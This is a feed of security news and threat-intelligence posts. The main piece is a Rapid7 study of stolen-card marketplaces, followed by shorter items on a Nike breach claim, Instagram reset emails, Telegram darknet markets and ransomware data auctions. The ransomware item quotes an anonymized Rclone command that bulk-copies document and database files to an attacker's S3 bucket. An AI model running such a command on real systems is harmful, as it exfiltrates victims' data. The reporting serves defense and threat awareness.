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Received yesterday — 13 February 2026

Carding-as-a-Service: The Underground Market of Stolen Cards

12 February 2026 at 09:00

Rapid7 software engineer Eliran Alon also contributed to this post.

Introduction

Despite sustained efforts by the global banking and payments industry, credit card fraud continues to affect consumers and organizations on a large scale. Underground “dump shops” play a central role in this activity, selling stolen credit and debit card data to criminals who use it to conduct unauthorized transactions and broader fraud campaigns. Rather than fading under increased scrutiny, this illicit trade has evolved into a structured, service-like economy that mirrors legitimate online marketplaces in both scale and sophistication.

This evolution has given rise to what can be described as carding-as-a-service (CaaS): a resilient underground market that wraps together stolen payment card data, tools, and support into easily accessible offerings. These stolen credit cards are also often bundled with sensitive personal information, substantially elevating the potential damage to both individuals and organizations, and making the financial loss the least harmful consequence.     

While numerous dump shops have been disrupted or shut down over time, several high-profile marketplaces, including Findsome, UltimateShop, and Brian’s Club, continue to shape the market and influence criminal activity. This blog explores these illegal marketplaces and their operations, shedding light on the modern carding economy and highlighting why stronger detection and prevention efforts remain critical.

The carding economy at a glance

Credit card information available on the black market is generally categorized into three types: credit card numbers, dumps, and 'fullz'.

  • Credit card numbers (also known as "CVV") minimally include the data printed on the card: the credit card number itself, cardholder name, expiration date, and the CCV2 security code (found on the back, not to be confused with CVV). This group may also include the associated billing address and phone number.

  • Dumps consist of the raw data from the magnetic stripe tracks. This information is essential for cloning physical credit cards.

  • Fullz offers a more complete profile of the cardholder, containing additional personal information such as the date of birth or Social Security Number (SSN).

The exact origin of the information available on the different marketplaces is unclear and is being obfuscated by the admins and resellers; however, further investigation across different cybercrime forums revealed the common methods through which cards get leaked.

Phishing

Technological improvements have made phishing campaigns much easier to execute. Today, there are phishing-as-a-service (PhaaS) platforms and fraud-as-a-service (FaaS) modules allowing easy setup for new phishing campaigns, along with the infrastructure, page design, and even the collection of credentials or other stolen information (Figure 1). Phishing pages, tricking customers into providing personal financial information (PFI), are still an efficient source for stolen credit information.

phishing-page-creation-using-phishing-as-a-service-provider.png
Figure 1 - Creation of a phishing page using a phishing-as-a-service provider

Physical Devices

Physical hacking tools, and other devices that could be attached to different payment devices or ATMs, are used to transmit information into the hands of a malicious actor. Different specialized stores offer to sell such devices and ship them, once again allowing even a novice to start stealing credit information for future use. Threat actors attempt to stay as up-to-date as possible, adjusting themselves to industry trends. These include “Shimming,” which focuses on modern EMV chips, instead of old “Skimming” devices, which require scanning the entire card (Figure 2). The hacking tools target not only ATMs, but also additional devices with daily credit card use, including gas pumps and point-of-sale (POS) machines.

carding-as-a-service-skimmers.png
Figure 2 - A store specializing in selling skimmers and other physical attachments

Malware

Since the large-scale Target breach in 2013, which resulted in the compromise of millions of credit card records, threat actors have steadily evolved point-of-sale (POS) malware variants such as BlackPOS and MajikPOS (Figure 3). In parallel, the widespread adoption of information-stealing malware (“infostealers”) has enabled attackers to harvest credit card data from a broad range of systems, typically alongside additional personally identifiable information (PII) and user credentials.

POS-malware-MajikPOS-SaaS-module.png
Figure 3 - Threat actor offering POS malware (MajikPOS) in SaaS module

Cross-Site Scripting (XSS)

Many posts found on different cybercrime forums provide carders with tips about how to exploit web security flaws. In some cases, there are actual examples and guides, including code samples for conducting XSS, i.e., redirecting network traffic into the threat actor’s hands through an injected code (usually JavaScript). Malicious actors inject the “sniffer” in the payment page itself, which later copies the inserted payment information and transfers it to them for future use (Figure 4).

carding-as-a-service-coding-sniffers.png
Figure 4 - A threat actor offering instructions for coding sniffers

Key players in the carding underground

Through ongoing changes within the carding ecosystem and the developments made in fraud detection and prevention, the industry of stolen credit card trading continues to flourish. Banks and credit card companies might be fairly good at monitoring individual transactions, but not at disrupting the broader fraud supply chain. CaaS exploits gaps between payment security, identity security, and organizational visibility, monetizing stolen data upstream before fraud ever reaches issuer models. In addition, fraudsters feed on the ever-lasting weakness of the human factor, acting carelessly with personal information and ignoring security warnings.  

These factors, in conjunction with constant market demand, have kept several carding marketplaces, led by Findsome, UltimateShop, and Brian’s Club, in action for a lengthy period. While the design and branding of these marketplaces differ, their core offerings and functionality are largely similar. As a result, their administrators frequently promote their services across dedicated carding marketplaces and broader cybercrime communities.

The main interface of these marketplaces features a streamlined search function that allows users to filter available listings using several parameters, including Bank Identification Number (BIN), country, and “base” - a collection of card records linked to the same issuing bank, card brand (e.g., Visa or Mastercard), and card type, typically compromised within a similar time frame. Filtering options vary slightly between platforms and may include additional criteria such as price range or the availability of supplemental PII, including SSNs.

Search results generally display the card’s expiration date, issuing bank, cardholder name, and approximate geographic location. Each listing also indicates its price and whether it is eligible for a refund. Refund functionality is a critical feature in the carding ecosystem, as it enables buyers to recover funds for cards that later prove invalid. This capability often serves as a differentiating factor between marketplaces, as user complaints on carding marketplaces frequently center on invalid cards, denied refunds, or the resale of outdated card data.

These carding marketplaces do not disclose the sources of their stolen credit card data and appear to rely primarily on third-party vendors offering previously compromised records. This suggests that they operate as aggregators, reselling data obtained from multiple external suppliers after conducting their own quality assessments. While this model enables platforms to increase both the volume and diversity of their listings, it can also lead to inconsistencies in data quality. Additionally, some resellers appear to offer identical datasets across multiple marketplaces to maximize profits, resulting in overlapping bases between platforms (Figure 5).

UltimateShop-reseller-forum-discussion.png
Figure 5 - Forum discussion about an UltimateShop reseller

All three marketplaces support Bitcoin payments, while Findsome is currently the only platform that accepts additional cryptocurrencies, including Litecoin and Zcash. Minimum deposit requirements are generally low, ranging from $0 on UltimateShop to $20 on Brian’s Club, likely to reduce barriers to entry and attract new users. In parallel, Findsome and UltimateShop offer deposit bonuses, typically between 5% and 12%, to incentivize larger payments and encourage long-term user engagement.

These marketplaces are hosted on the dark web, with mirrored versions accessible via the surface web. To mitigate the risk of takedowns or law enforcement action, administrators frequently rotate their surface-web domains. This practice has likely contributed to the proliferation of fraudulent domains impersonating legitimate marketplaces, such as findsome[.]ink and findsomes[.]ru for Findsome, and ultimateshops[.]to for UltimateShop. These sites are designed to leverage brand recognition to deceive users and steal funds. In response, the marketplaces publish lists of their official domains and warn users about potential scams in an effort to maintain trust and protect their reputations.

Findsome

Findsome is a deep and dark web carding marketplace that has reportedly been active since 2019. The platform, whose administrators are likely of Russian origin, appears to specialize in the sale of stolen CVV, as well as Fullz. Listings are typically priced between $4 and $25 per record, depending on the perceived “quality” of the data.

Under its “Shop” tab, Findsome enables users to browse and filter available credit card listings of interest (Figure 6). Each listing specifies whether a refund is available should the card prove to be invalid, along with a defined “check time.” The check time refers to a limited window following purchase during which the buyer may attempt to verify the card’s validity and request a refund if necessary.

findsome-shop-tab.png
Figure 6 - The “Shop” tab on Findsome

During the designated check-time window, users may attempt to validate the purchased record. The marketplace claims to integrate third-party checker services, such as Luxchecker, which it describes as commonly used across comparable platforms. If the validation process indicates that the card is not valid, a refund is reportedly issued (Figure 7).

findsome-card-validation-outcome.png
Figure 7 - Card validation outcome

Actors associated with the marketplace have been observed seeking “resellers” offering large bases on cybercrime forums (Figure 8). Although Findsome does not explicitly disclose information about its resellers, their aliases appear to be embedded in the naming conventions of the databases. For instance, a database titled “NOV 23 _#(KOJO***) GOOD US JP SE” suggests that it was supplied by a reseller operating under the alias “KOJO***.”

Findsome-post-cardforum-cc.png
Figure 8 - Findsome’s post on cardforum.cc

An analysis of the databases published during the second half of 2025 identified the five most frequent resellers in that period (Table 1). These resellers largely dominated Findsome’s inventory, collectively accounting for more than 50% of its offerings. Overall, 51 resellers were active on the platform during this timeframe, with an average market share of approximately 2% per reseller. This distribution suggests that Findsome relies on a broad network of resellers, likely to diversify its listings and reduce dependence on a small number of dominant suppliers.

Reseller

Records

Share

tian*****

303,818

13%

vygg*******

266,382

11%

mapk**

231,797

10%

atla****

231,757

10%

find*****

217,846

9%

Table 1 - Reseller market share

Despite its prominence, Findsome appears to face competition from smaller, emerging platforms. While it is sometimes described within cybercrime communities as relatively “reliable,” discussions on underground forums reveal dissatisfaction with its pricing model. Some actors have criticized the marketplace for charging high prices for data that is frequently invalid (Figure 9), while others view the $100 account activation fee for new users as a significant barrier to entry.

findsome-mention-carding-forum.png
Figure 9 - Mentions of Findsome on another carding marketplace

UltimateShop 

UltimateShop is a deep and dark web carding marketplace that has been active since at least 2022. Its administrators appear to be of Russian origin and offer mainly CVV and Fullz. The stolen credit cards are priced between $10 and $30 per record, depending on the assessed “quality” of the data.

Under its “Search CCS” tab, UltimateShop allows users to filter and browse available credit card listings (Figure 10). In addition to standard filters such as BIN and issuing bank, the platform enables users to specify a price range, select individual sellers, and limit results to listings for which validation is available. The results section displays key details about the issuing bank and cardholder, as well as the seller’s name, an assessed validity percentage, and refund eligibility. It should be noted that certain BINs and issuing banks are excluded from validation checks on UltimateShop.

Search-CCS-tab-UltimateShop.png
Figure 10 - The “Search CCS” tab on UltimateShop

While purchasing a record, users may initiate a validation check where applicable (Figure 11). UltimateShop does not impose a strict timeframe for this process and does not disclose the checker or validation mechanism used. If the card is deemed invalid (e.g., marked as “Decline”), the user is eligible for a refund.

UltimateShop-card-validation-outcome.png
Figure 11 - Card validation outcome

UltimateShop’s inventory is largely dominated by a small number of resellers, which collectively accounted for 76% of the platform’s largest offerings during the second half of 2025 (Table 2). SuperUSA appears to be the most prominent seller, contributing approximately 35% of all available records. This concentration indicates a higher reliance on a limited set of resellers and comparatively lower diversification than competing marketplaces such as Findsome. In total, 22 primary resellers were identified on UltimateShop, with an average market share of approximately 5% per reseller.

Reseller

Records

Share

superusa

293,931

35%

best

116,464

14%

virgin

82,672

10%

sanji

79,110

9%

freshsniffer

62,760

8%

Table 2 - Reseller market share on UltimateShop

While UltimateShop remains a well-established platform within the carding ecosystem, its reputation is increasingly being challenged by negative user feedback. Complaints frequently cite high prices and a significant proportion of invalid records, issues that may stem from the platform’s reliance on a small number of potentially unreliable sellers (Figure 12).

UltimateShop-discussion-carding-marketplace.png
Figure 12 - Discussion about UltimateShop on another carding marketplace

Brian’s Club

Active since 2014, Brian’s Club is a well-established player within the carding ecosystem that was originally created to “troll” security researcher and reporter Brian Krebs and his work. Like other marketplaces, it offers a wide range of listings, categorized as “CVV2,” “Dumps,” and “Fullz” (Figure 13). Prices typically range from $17 to $49, though higher prices are often observed for records that include PINs, an uncommon feature among carding marketplaces.

Search-Dumps-tab-Brian’s-Club.png
Figure 13 - The “Search Dumps” tab on Brian’s Club

Another key point of differentiation for Brian’s Club is its extensive offering of dumps, suggesting explicit support for credit card cloning. This is further reinforced by the availability of a “Track1 Generator” tool, which facilitates the creation of physical copies of compromised cards. Together, these features represent a relatively unique value proposition within the carding market and indicate that Brian’s Club administrators have deliberately positioned the platform to address specific customer needs and prevailing market dynamics.

General statistics

Note: The data in this section, specifically the numerical figures, comes directly from the marketplaces and, therefore, its precision cannot be independently verified or guaranteed.

Out of the examined marketplaces, Findsome has the largest market size with 57.6%, followed by UltimateShop (26.6%) and Brian’s Club (15.8%)(Figure 14).

Count-of-leaked-credit-cards-by-marketplace-rapid7.jpg
Figure 14 - The market size of the examined marketplaces

The vast majority of leaked credit cards are Visa cards (60.4%), followed by Mastercard (32.3%), American Express (4.3%), and Discover (3%), with this distribution remaining consistent across the three examined marketplaces (Figure 15). These numbers, however, do not reflect the actual market size of each brand, as according to the 2025 Nilson Report, Visa and Mastercard control relatively similar market sizes, with 32% and 24%, respectively, and American Express and Discover are far behind with 6% and 0.9%. In addition, the most popular credit card brand, Union Pay, with 36% of the market, is not even among the top 4 most leaked brands, probably due to its relatively unique target audience (China), which is not typically targeted by carders in these marketplaces.

However, the leaked credit cards' brand distribution more closely resembles their market share in the United States (Visa - 52%, Mastercard - 24%, American Express - 19%, Discover - 5%), which is where most of the victims originate.

Leaked-credit-card-brand-distribution-by-marketplace.png
Figure 15 - Leaked credit card brand distribution by marketplace

Most of the leaked credit cards we observed in H2 2025 belong to US customers, followed by ones from Canada (by a large margin) and the United Kingdom (Figure 16). 

Global-credit-card-leakage-heatmap.png
Figure 16 - Global credit card leakage heatmap

When comparing the top 10 countries list of each of the examined marketplaces (Figures 17, 18, and 19), we can see that UltimateShop’s list is somewhat unusual, with rarely targeted countries, like Peru and Norway, making the Top 10 list while surpassing very populated and highly targeted countries, such as the United Kingdom and France. In this sense, it should be noted that the geographic data sourced from UltimateShop contained numerous inconsistencies. Thus, it may not be a reliable indicator of the actual distribution of victims.

top-ten-countries-leaked-credit-cards-findsome.jpg
Figure 17 - Top 10 countries with leaked credit cards on Findsome

top-ten-countries-leaked-credit-cards-UltimateShop.jpg
Figure 18 - Top 10 countries with leaked credit cards on UltimateShop

top-ten-countries-leaked-credit-cards-Brians-Club.jpg
Figure 19 - Top 10 countries with leaked credit cards on Brian’s Club

When examining the monthly distribution of leaked credit cards (Figure 20), we observe that the largest volume was recorded in November and December, likely due to the shopping season (e.g., Black Friday and Cyber Monday) that occurs around that time.

chart-leaked-credit-cards-by-country-per-month.jpg
Figure 20 - Count of leaked credit cards by country per month

When examining the types of personal information being exposed along with the leaked credit card, we saw that most of the credit cards are also attached with an email address or a phone number (or both), with the highest percentages recorded in UltimateShop (99.4% of the cases), followed by Findsome (87.7%), and Brian’s Club (75.7%). This means that the leakage of a credit card not only poses a risk for financial scams resulting in monetary losses, but also exposes PII, which may lead to identity theft and impersonation attempts.

The future of carding

The carding ecosystem is gradually moving away from large-scale magnetic stripe (“dump”) fraud as EMV adoption makes card cloning harder and less reliable. While shimming and the capture of PINs allow criminals to continue card-present fraud, this approach is riskier, more expensive, and usually limited to specific regions or devices. As a result, EMV-based fraud is unlikely to fully replace the dump economy at scale. Instead, it is expected to support smaller, localized operations rather than the global, highly automated carding marketplaces that dominated in the past.

At the same time, carding marketplaces are increasingly focused on selling richer data sets that include personal and contact information (“Fullz”), not just card details. This shift enables a wider range of fraud, including account takeover, wallet abuse, phishing, and identity-based scams, which are less dependent on the underlying payment technology. Rather than disappearing, carding-as-a-service is evolving into a broader identity-driven ecosystem, where marketplaces supply raw data, and buyers use automation and AI to decide how and where to exploit it.

What organizations should do

The continued growth of carding marketplaces highlights how credit card theft has evolved into a resilient, service-based criminal economy that is difficult to disrupt through takedowns alone. In addition, as stolen cards are increasingly bundled with credentials and personal data, the potential damage inflicted by the CaaS economy has ceased to be purely financial. The impact extends beyond isolated fraud events to long-term identity abuse and account compromise affecting both organizations and consumers.

To cope with the growing threat of stolen credit cards and leaked credentials, organizations should adopt a defense-in-depth approach that combines prevention, detection, and rapid response. This includes strengthening protections against common compromise vectors such as phishing, malware, and web application vulnerabilities by enforcing multi-factor authentication, regularly patching systems, hardening payment pages against client-side attacks, and conducting ongoing security awareness training. At the same time, organizations should invest in continuous monitoring capabilities to detect early signs of exposure, including visibility into dark web and underground marketplaces where stolen card data and credentials are traded. 

By proactively identifying leaked assets, correlating them to their own environments (for example, through BIN monitoring), and responding quickly through card reissuance, credential resets, and fraud monitoring, organizations can significantly reduce both financial losses and downstream risks such as identity theft and account takeover.

Rapid7 customers

There are multiple detections in place for Threat Command and MDRP customers to identify and alert on the threat actor behaviors described in this blog. Specifically, Threat Command monitors dark web activity, including exposed credit card details that are being sold on carding marketplaces. Relevant incidents are flagged based on the customer’s assets, specifically their BIN. When a listing containing these assets is identified, a “Credit Cards For Sale” alert is issued (Figure 21). In addition to notifying customers, these alerts enable them to quickly and securely acquire the detected bot through the “Ask an Analyst” service.

carding-marketplace-example-alert.png
Figure 21 - Example of an alert about a credit card offered for sale on a carding marketplace

Received before yesterday

Nike Probes Possible Cybersecurity Incident Following Dark Web Claims

Nike cyberattack

Nike has confirmed that it is investigating a potential cybersecurity incident after claims surfaced online that its internal data may have leaked by a cybercrime group. The same group, known for extortion-driven attacks against other companies, previously claimed the Nike cyberattack on its dark web site.  Nike acknowledged the situation of a potential cybersecurity incident, stating, “We always take consumer privacy and data security very seriously. We are investigating a potential cybersecurity incident and are actively assessing the situation.” The company has not yet disclosed whether the cyberattack on Nike involved customer, employee, or partner data. 

Hacker Group Claims the Nike Cyberattack

The allegations stem from a ransomware group known as World Leaks, which claimed on its website that it had published 1.4 terabytes of data allegedly tied to Nike’s business operations. The group did not specify what types of files or information were included in the purported leak.  The Cyber Express reached out to Nike for further details regarding the reported cyberattack on Nike. However, as of the time of writing, the company had not shared any additional updates or clarification about the incident or its potential impact.  World Leaks is an extortion-focused cybercrime group that steals corporate data to pressure victims into paying ransoms, threatening public disclosure if demands are not met. The group emerged in 2025 after rebranding from Hunters International, a ransomware gang active since 2023. Following increased law enforcement scrutiny, the group reportedly abandoned traditional file-encryption tactics and shifted entirely to data theft and extortion. It has since claimed hundreds of victims. 

Potential Partner Impact and Broader Industry Context 

It remains unclear whether the alleged Nike data breach affected information belonging to any of Nike’s major wholesale partners. The company works closely with large retailers such as Dick’s Sporting Goods, Macy’s, and JD Sports.  The reported cyberattack on Nike comes as data breaches continue to disrupt major corporations worldwide. High-profile cyber incidents in 2023 and 2024 affected companies, including MGM Resorts International, Clorox, and UnitedHealth Group. MGM disclosed losses of at least $100 million tied to its attack, while Clorox reported a decline of more than $350 million in quarterly net sales following its breach.  The incident also follows similar developments within the sportswear sector. TechCrunch recently reported that Under Armour launched an investigation after 72 million customer email addresses were posted online.  

Nike’s Business Challenges Amid Cybersecurity Concerns 

According to The Star, Nike has been working to regain its position as the world’s dominant sportswear brand after losing market share to smaller competitors. Against this backdrop, the emergence of a potential Nike cyberattack adds another layer of uncertainty. Despite the reports, Nike’s shares were flat as of late morning on Monday, indicating that investors may be waiting for verified details before reacting.  As investigations continue, it remains uncertain whether the alleged Nike data breach will be confirmed or what consequences may follow. Nike has stated only that it is actively assessing the situation, and further information is expected as the inquiry progresses and claims related to the cyberattack on Nike are independently evaluated.   This is an ongoing story, and The Cyber Express will be closely monitoring the situation. We will update this post once we have more information on the Nike cyberattack or any additional information from the company. 

Received an Instagram password reset email? Here’s what you need to know

12 January 2026 at 16:04

Last week, many Instagram users began receiving unsolicited emails from the platform that warned about a password reset request.

The message said:

“Hi {username},
We got a request to reset your Instagram password.
If you ignore this message, your password will not be changed. If you didn’t request a password reset, let us know.”

Around the same time that users began receiving these emails, a cybercriminal using the handle “Solonik” offered data that alleged contains information about 17 million Instagram users for sale on a Dark Web forum.

These 17 million or so records include:

  • Usernames
  • Full names
  • User IDs
  • Email addresses
  • Phone numbers
  • Countries
  • Partial locations

Please note that there are no passwords listed in the data.

Despite the timing of the two events, Instagram denied this weekend that these events are related. On the platform X, the company stated they fixed an issue that allowed an external party to request password reset emails for “some people.”

So, what’s happening?

Regarding the data found on the dark web last week, Shahak Shalev, global head of scam and AI research at Malwarebytes, shared that “there are some indications that the Instagram data dump includes data from other, older, alleged Instagram breaches, and is a sort of compilation.” As Shalev’s team investigates the data, he also said that the earliest password reset requests reported by users came days before the data was first posted on the dark web, which might mean that “the data may have been circulating in more private groups before being made public.”

However, another possibility, Shalev said, is that “another vulnerability/data leak was happening as some bad actor tried spraying for [Instagram] accounts. Instagram’s announcement seems to reference that spraying. Besides the suspicious timing, there’s no clear connection between the two at this time.”

But, importantly, scammers will not care whether these incidents are related or not. They will try to take advantage of the situation by sending out fake emails.

“We felt it was important to alert people about the data availability so that everyone could reset their passwords, directly from the app, and be on alert for other phishing communications,” Shalev said.

If and when we find out more, we’ll keep you posted, so stay tuned.

How to stay safe

If you have enabled 2FA on your Instagram account, we think it is indeed safe to ignore the emails, as proposed by Meta.

Should you want to err on the safe side and decide to change your password, make sure to do so in the app and not click any links in the email, to avoid the risk that you have received a fake email. Or you might end up providing scammers with your password.

Another thing to keep in mind is that these are Meta-data. Which means some users may have reused or linked them to their Facebook or WhatsApp accounts. So, as a precaution, you can check recent logins and active sessions on Instagram, WhatsApp, and Facebook, and log out from any devices or locations you do not recognize.

If you want to find out whether your data was included in an Instagram data breach, or any other for that matter, try our free Digital Footprint scan.

Telegram Hosting World’s Largest Darknet Market

5 January 2026 at 07:01

Wired is reporting on Chinese darknet markets on Telegram.

The ecosystem of marketplaces for Chinese-speaking crypto scammers hosted on the messaging service Telegram have now grown to be bigger than ever before, according to a new analysis from the crypto tracing firm Elliptic. Despite a brief drop after Telegram banned two of the biggest such markets in early 2025, the two current top markets, known as Tudou Guarantee and Xinbi Guarantee, are together enabling close to $2 billion a month in money-laundering transactions, sales of scam tools like stolen data, fake investment websites, and AI deepfake tools, as well as other black market services as varied as pregnancy surrogacy and teen prostitution.

The crypto romance and investment scams regrettably known as “pig butchering”—carried out largely from compounds in Southeast Asia staffed with thousands of human trafficking victims—have grown to become the world’s most lucrative form of cybercrime. They pull in around $10 billion annually from US victims alone, according to the FBI. By selling money-laundering services and other scam-related offerings to those operations, markets like Tudou Guarantee and Xinbi Guarantee have grown in parallel to an immense scale.

From Extortion to E-commerce: How Ransomware Groups Turn Breaches into Bidding Wars

24 November 2025 at 09:21

Ransomware has evolved from simple digital extortion into a structured, profit-driven criminal enterprise. Over time, it has led to the development of a complex ecosystem where stolen data is not only leveraged for ransom, but also sold to the highest bidder. This trend first gained traction in 2020 when the Pinchy Spider group, better known as REvil, pioneered the practice of hosting data auctions on the dark web, opening a new chapter in the commercialization of cybercrime.

In 2025, contemporary groups such as WarLock and Rhysida have embraced similar tactics, further normalizing data auctions as part of their extortion strategies. By opening additional profit streams and attracting more participants, these actors are amplifying both the frequency and impact of ransomware operations. The rise of data auctions reflects a maturing underground economy, one that mirrors legitimate market behavior, yet drives the continued expansion and professionalization of global ransomware activity.

Anatomy of victim data auctions 

Most modern ransomware groups employ double extortion tactics, exfiltrating data from a victim’s network before deploying encryption. Afterward, they publicly claim responsibility for the attack and threaten to release the stolen data unless their ransom demand is met. This dual-pressure technique significantly increases the likelihood of payment.

In recent years, data-only extortion campaigns, in which actors forgo encryption altogether, have risen sharply. In fact, such incidents doubled in 2025, highlighting how the threat of data exposure alone has become an effective extortion lever. Most ransomware operations, however, continue to use encryption as part of their attack chain.

Certain ransomware groups have advanced this strategy by introducing data auctions when ransom negotiations with victims fail. In these cases, threat actors invite potential buyers, such as competitors or other interested parties, to bid on the stolen data, often claiming it will be sold exclusively to a single purchaser. In some instances, groups have been observed selling partial datasets, likely adjusted to a buyer’s specific budget or area of interest, while any unsold data is typically published on dark web leak sites.

This process is illustrated in Figure 1, under the assumption that the threat actor adheres to their stated claims. However, in practice, there is no guarantee that the stolen data will remain undisclosed, even if the ransom is paid. This highlights the inherent unreliability of negotiating with cybercriminals.

ransomware-extortion-ecommerce-diagram
Figure 1 - Victim data auctioning process

This auction model provides an additional revenue stream, enabling ransomware groups to profit from exfiltrated data even when victims refuse to pay. It should be noted, however, that such auctions are often reserved for high-profile incidents. In these cases, the threat actors exploit the publicity surrounding attacks on prominent organizations to draw attention, attract potential buyers, and justify higher starting bids.

This trend is likely driven by the fragmentation of the ransomware ecosystem following the recent disruption of prominent threat actors, including 8Base and BlackSuit. This shift in cybercrime dynamics is compelling smaller, more agile groups to aggressively compete for visibility and profit through auctions and private sales to maintain financial viability. The emergence of the Crimson Collective in October 2025 exemplified this dynamic when the group auctioned stolen datasets to the highest bidder. Although short-lived, this incident served as a proof of concept (PoC) for the growing viability of monetizing data exfiltration independently of traditional ransom schemes.

Threat actor spotlight

WarLock

The WarLock ransomware group has been active since at least June 2025. The group targets organizations across North America, Europe, Asia, and Africa, spanning sectors from technology to critical infrastructure. Since its emergence, WarLock has rapidly gained prominence for its repeated exploitation of vulnerable Microsoft SharePoint servers, leveraging newly disclosed vulnerabilities to gain initial access to targeted systems.

The group adopts double extortion tactics, exfiltrating data from the victim’s systems before deploying its ransomware variant. From a recent incident Rapid7 responded to, we observed the threat actor exfiltrating the data from a victim to an S3 bucket using the tool Rclone. An anonymized version of the command used by the threat actor can be found below:

Rclone.exe copy \\localdirectory :s3 -P --include "*.{pdf,ai,dwg,dxf,dwt,doc,docx,dwg,dwt,dws,shx,pat,lin,ctb,dxf,dwf,step,stl,dst,dxb,,stp,ipt,prt,iges,obj,xlsx,mdf,sql,doc,xls,sql,bak,sqlite,db,sqlite3,sdf,ndf,ldf,csv,mdf,dbf,ibd,myd,ppt,pptx}" -q --ignore-existing --auto-confirm --multi-thread-streams 11 --transfers 11 --max-age 500d --max-size 2000m

WarLock operates a dedicated leak site (DLS) on the dark web, where it lists its victims. From the outset of its operations, the group has auctioned stolen data, publishing only the unsold information online (Figure 2). The group further mentions that the exfiltrated data may be sold to third parties if the victim refuses to pay in their ransom note (Figure 3).

2-ransomware-purchased-data.png
Figure 2 - Example of purchased data

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Figure 3 - WarLock ransom note

Although WarLock shares updates on the progress and results of these auctions through its DLS, it also relies heavily on its presence on the RAMP4 cybercrime forum to attract potential buyers (Figure 4). This approach likely allows WarLock to reach a wider buyer base by publishing these posts under the relevant thread “Auction \ 拍卖会”. It should be noted that WarLock is assessed to be of Chinese origin, which is further supported by the Chinese-language reference in this thread title.

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Figure 4 - Mention of an auction on WarLock’s DLS

Using the alias “cnkjasdfgd,” the group advertises details about the nature and volume of exfiltrated data, along with sample files (Figure 5). WarLock further directs interested buyers to its Tox account, a peer-to-peer encrypted messaging and video-calling platform, where the auctions appear to take place.

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Figure 5 - WarLock’s post on RAMP4

This approach appears to be highly effective for WarLock. Despite being a recent entrant to the ransomware ecosystem, the group has reportedly sold victim data in approximately 55% of its claimed attacks, accounting for 55 victims to date as of November 2025, demonstrating significant traction within underground markets. The remaining victims’ data has been publicly released on the group’s DLS, following unsuccessful ransom negotiations and a lack of interested buyers.

Rhysida

The Rhysida ransomware group was first identified by cybersecurity researchers in May 2023. The group primarily targets Windows operating systems across both public and private organizations in sectors such as government, defense, education, and manufacturing. Its operations have been observed in several countries, including the United Kingdom, Switzerland, Australia, and Chile. The threat actors portray themselves as a so-called “cybersecurity team” that assists organizations in securing their networks by exposing system vulnerabilities.

Rhysida maintains an active DLS, where it publishes data belonging to victims who refuse to pay the ransom, in alignment with double extortion tactics. Since at least June 2023, the group has also conducted data auctions via a dedicated “Auctions Online” section of its DLS. These auctions typically run for seven days, and Rhysida claims that each dataset is sold exclusively to a single buyer. As of mid-October 2025, the group was hosting five ongoing auctions, with starting prices ranging from 5 to 10 Bitcoin (Figure 6).

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Figure 6 - Example of an auction on Rhysida’s DLS

Once the auction period ends, Rhysida publicly releases any unsold data on its DLS (Figure 7). Instead, if the auction is successful, the data is marked as “sold”, without being released on the group’s DLS (Figure 8). In many cases, the group publishes only a subset of the stolen data, often accompanied by the note “not sold data was published” (Figure 9).

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Figure 7 - Example of full data release on Rhysida’s DLS

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Figure 8 - Example of sold data on Rhysida’s DLS

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Figure 9 - Example of partial data release on Rhysida’s DLS

With 224 claimed attacks to date as of November 2025, approximately 67% resulting in full or partial data sales, auctions represent a significant additional revenue stream for Rhysida. The group’s auction model appears to be considerably more effective than WarLock’s (Figure 10), likely due to Rhysida’s established reputation within the cybercrime ecosystem and its involvement in several high-profile attacks.

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Figure 10 - Overview of auction outcomes

Conclusion

The cyber extortion ecosystem is undergoing a profound transformation, shifting from traditional ransom payments to a diversified, market-driven model centered on data auctions and direct sales. This evolution marks a turning point in how ransomware groups generate revenue, transforming what were once isolated extortion incidents into structured commercial transactions.

Groups such as WarLock and Rhysida exemplify this shift, illustrating how ransomware operations increasingly mirror illicit e-commerce ecosystems. By auctioning exfiltrated data, these actors not only create additional revenue streams but also reduce their dependence on ransom compliance, monetizing stolen data even when victims refuse to pay. This approach has proven particularly lucrative for these threat actors, likely setting a precedent for newer extortion groups eager to replicate their success.

As a result, proprietary and sensitive data, including personally identifiable and financial information, is flooding dark web marketplaces at an unprecedented pace. This expanding secondary market intensifies both the operational and reputational risks faced by affected organizations, extending the impact of an attack well beyond its initial compromise.

To adapt to this evolving threat landscape, organizations must move beyond reactive crisis management and embrace a proactive, intelligence-driven defense strategy. Continuous dark web monitoring, early breach detection, and the integration of cyber threat intelligence into response workflows are now essential. In a world where stolen data functions as a tradable commodity, resilience depends not on negotiation but on vigilance, preparedness, and rapid action.

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